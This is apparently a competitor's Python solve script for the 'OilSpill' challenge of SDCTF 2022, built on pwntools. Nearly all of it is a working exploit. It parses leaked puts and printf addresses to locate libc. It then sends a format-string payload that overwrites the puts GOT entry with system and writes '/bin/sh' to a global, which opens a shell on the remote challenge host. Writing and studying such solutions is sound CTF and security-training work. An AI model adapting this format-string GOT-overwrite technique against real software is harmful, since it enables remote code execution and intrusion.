sdctf 2022 - oilspill

solve.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./OilSpill_patched --host oil.sdc.tf --port 1337
from pwn import *

# Set up pwntools for the correct architecture
#exe = context.binary = ELF('./OilSpill')
exe = context.binary = ELF('./OilSpill_patched')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'oil.sdc.tf'
port = int(args.PORT or 1337)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x3ff000)
# RUNPATH:  b'.'

## find format offset
## fmt offset = 8
if False:
    for x in range(1,10):
        io = start()
        io.recvline()
        io.sendlineafter(b'?\n', f'AAAAAAAAAAAAAAAA %{x}$p'.encode('ascii'))
        print(x,io.recvline())
        io.close()    
    exit()

io = start()

pointers = io.recvline()
puts, printf, stack, tmp = [int(p,16) for p in pointers.split(b', ')]
print('puts', hex(puts))
print('printf', hex(printf))
print('stack', hex(stack))
print('tmp', hex(tmp))
libc = exe.libc
libc.address = puts - libc.symbols['puts']
print('libc', hex(libc.address))

writes = {
    exe.symbols.got['puts']: libc.symbols['system'],
    exe.symbols['x']: b'/bin/sh\x00',
    }
extra=b''
payload = extra+fmtstr_payload(8, writes)

assert b'\n' not in payload
assert len(payload) < 300
io.sendlineafter(b'?\n', payload)


io.interactive()